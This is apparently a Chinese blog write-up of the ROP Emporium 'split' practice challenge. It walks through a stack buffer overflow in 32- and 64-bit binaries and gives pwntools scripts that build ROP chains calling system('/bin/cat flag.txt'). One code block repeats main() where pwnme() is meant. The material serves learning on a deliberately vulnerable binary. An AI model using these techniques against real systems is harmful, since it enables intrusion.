split

作者: 杰_74 | 来源:发表于2019-08-05 20:32 被阅读0次

ropemporium上的链接
https://ropemporium.com/

32位

方法一:

checksec后试运行,没有开什么特殊的保护


拖入IDA32位
main函数 F5,把能点的都点一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}

点进去pwnme()

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}


由上图看出s距离ebp0x28,就是40,40+4等于44,可以写入96个,还有很多空间使其栈溢出
gdb找偏移也是44


找到一个usefulFunction,一看就很useful,我们就用system这个函数,点击usefulFunction后看到text段调用了system,地址为0x08048657



但是里面的参数不是我们想要的,我们想要的是

system("/bin/cat flag.txt")

shift+F12找一下字符串



把这个换成system的参数

点它跳转看到地址,字符串地址为0x0804A030


usefulString

开始写脚本

#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
p = process('./split32')

system = 0x08048657
flag_addr = 0x0804A030

payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(flag_addr)

p.sendline(payload)
p.interactive()
方法二:

找plt表上的system,地址为0x08048430



usefulString地址不变,还是0x0804A030

#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split32')
p = process('./split32')

system_plt = 0x08048430
#system_plt = elf.plt['system']
flag_addr = 0x0804A030
'''
payload = ''
payload += 'A'*44
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)

'''
payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)

p.sendline(payload)
p.interactive()

成功后


64位

64位基本是一样的,不同点在于它们的传参方式不同,64位是用寄存器存储的,那我们先用ROPgadget找到第一个寄存器rdi的gadget

ROPgadget --binary split --only "pop|ret"


我们可以明显看出0x400883是适用的

从下面这张图看出填充字符为0x20+'A'*8或0x20+p64(0)


写脚本(就只用第一种方法啦)

#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split')
p = process('./split')

system = 0x400810
flag_addr = 0x601060
pop_rdi = 0x400883

payload = ''
payload += 'A'*0x20
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(flag_addr)
payload += p64(system)

p.sendline(payload)
p.interactive()

get shell


以上的flag均为ROPE{a_placeholder_32byte_flag!}

相关文章

网友评论

      本文标题:split

      本文链接:https://www.haomeiwen.com/subject/hwgmdctx.html